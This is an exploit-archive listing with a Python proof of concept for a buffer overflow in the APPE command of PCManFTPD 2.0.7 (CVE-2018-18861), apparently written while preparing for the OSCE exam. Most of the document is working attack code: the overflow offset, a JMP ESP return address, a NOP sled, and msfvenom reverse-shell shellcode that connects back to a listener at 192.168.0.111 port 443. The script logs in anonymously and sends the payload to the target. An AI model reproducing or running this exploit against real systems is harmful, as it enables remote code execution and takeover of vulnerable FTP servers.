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PCManFTPD 2.0.7 Server APPE Command Buffer Overflow

PCManFTPD 2.0.7 Server APPE Command Buffer Overflow
Posted Nov 5, 2018
Authored by Dino Covotsos

PCManFTPD 2.0.7 server APPE command buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2018-18861
SHA-256 | 4b5e524625d8561d8f94907e64844a935db1f3267c60bddae2eaecdb4ddef231

PCManFTPD 2.0.7 Server APPE Command Buffer Overflow

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#!/usr/bin/python
# Exploit Title: PCManFTPD 2.0.7 Server APPE Command - Buffer Overflow Exploit
# Date: 30/10/2018
# Exploit Author: DC - Telspace Systems
# Vendor Homepage: http://pcman.openfoundry.org/
# Contact: services[@]telspace.co.za
# Version: 2.0.7
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: CVE-2018-18861
# Created in preparation for OSCE - DC - Telspace Systems
# Simple BOF for APPE command in PCManFTPD 2.0.7

import socket
import sys

#Exact match at offset 2005 (MSF pattern find)
#JMP ESP = 7E429353 (user32.dll)
#shellcode thanks to MSF - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.111 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D\xff" -e x86/shikata_ga_nai

shellcode = '\x41' * 2005
shellcode += '\x53\x93\x42\x7e'
shellcode += '\x90' * 50
shellcode += ("\xbe\xa3\x2b\xb0\x95\xda\xd4\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x83\xc0\x04\x31\x70\x0e\x03\xd3\x25\x52\x60\xef\xd2\x10"
"\x8b\x0f\x23\x75\x05\xea\x12\xb5\x71\x7f\x04\x05\xf1\x2d\xa9"
"\xee\x57\xc5\x3a\x82\x7f\xea\x8b\x29\xa6\xc5\x0c\x01\x9a\x44"
"\x8f\x58\xcf\xa6\xae\x92\x02\xa7\xf7\xcf\xef\xf5\xa0\x84\x42"
"\xe9\xc5\xd1\x5e\x82\x96\xf4\xe6\x77\x6e\xf6\xc7\x26\xe4\xa1"
"\xc7\xc9\x29\xda\x41\xd1\x2e\xe7\x18\x6a\x84\x93\x9a\xba\xd4"
"\x5c\x30\x83\xd8\xae\x48\xc4\xdf\x50\x3f\x3c\x1c\xec\x38\xfb"
"\x5e\x2a\xcc\x1f\xf8\xb9\x76\xfb\xf8\x6e\xe0\x88\xf7\xdb\x66"
"\xd6\x1b\xdd\xab\x6d\x27\x56\x4a\xa1\xa1\x2c\x69\x65\xe9\xf7"
"\x10\x3c\x57\x59\x2c\x5e\x38\x06\x88\x15\xd5\x53\xa1\x74\xb2"
"\x90\x88\x86\x42\xbf\x9b\xf5\x70\x60\x30\x91\x38\xe9\x9e\x66"
"\x3e\xc0\x67\xf8\xc1\xeb\x97\xd1\x05\xbf\xc7\x49\xaf\xc0\x83"
"\x89\x50\x15\x03\xd9\xfe\xc6\xe4\x89\xbe\xb6\x8c\xc3\x30\xe8"
"\xad\xec\x9a\x81\x44\x17\x4d\x6e\x30\x17\xe2\x06\x43\x17\xfd"
"\x6d\xca\xf1\x97\x81\x9b\xaa\x0f\x3b\x86\x20\xb1\xc4\x1c\x4d"
"\xf1\x4f\x93\xb2\xbc\xa7\xde\xa0\x29\x48\x95\x9a\xfc\x57\x03"
"\xb2\x63\xc5\xc8\x42\xed\xf6\x46\x15\xba\xc9\x9e\xf3\x56\x73"
"\x09\xe1\xaa\xe5\x72\xa1\x70\xd6\x7d\x28\xf4\x62\x5a\x3a\xc0"
"\x6b\xe6\x6e\x9c\x3d\xb0\xd8\x5a\x94\x72\xb2\x34\x4b\xdd\x52"
"\xc0\xa7\xde\x24\xcd\xed\xa8\xc8\x7c\x58\xed\xf7\xb1\x0c\xf9"
"\x80\xaf\xac\x06\x5b\x74\xdc\x4c\xc1\xdd\x75\x09\x90\x5f\x18"
"\xaa\x4f\xa3\x25\x29\x65\x5c\xd2\x31\x0c\x59\x9e\xf5\xfd\x13"
"\x8f\x93\x01\x87\xb0\xb1")

print "Connecting and sending buffer...\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.3',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('APPE ' + shellcode + '\r\n')
s.close()

print "Executed, check for shell."
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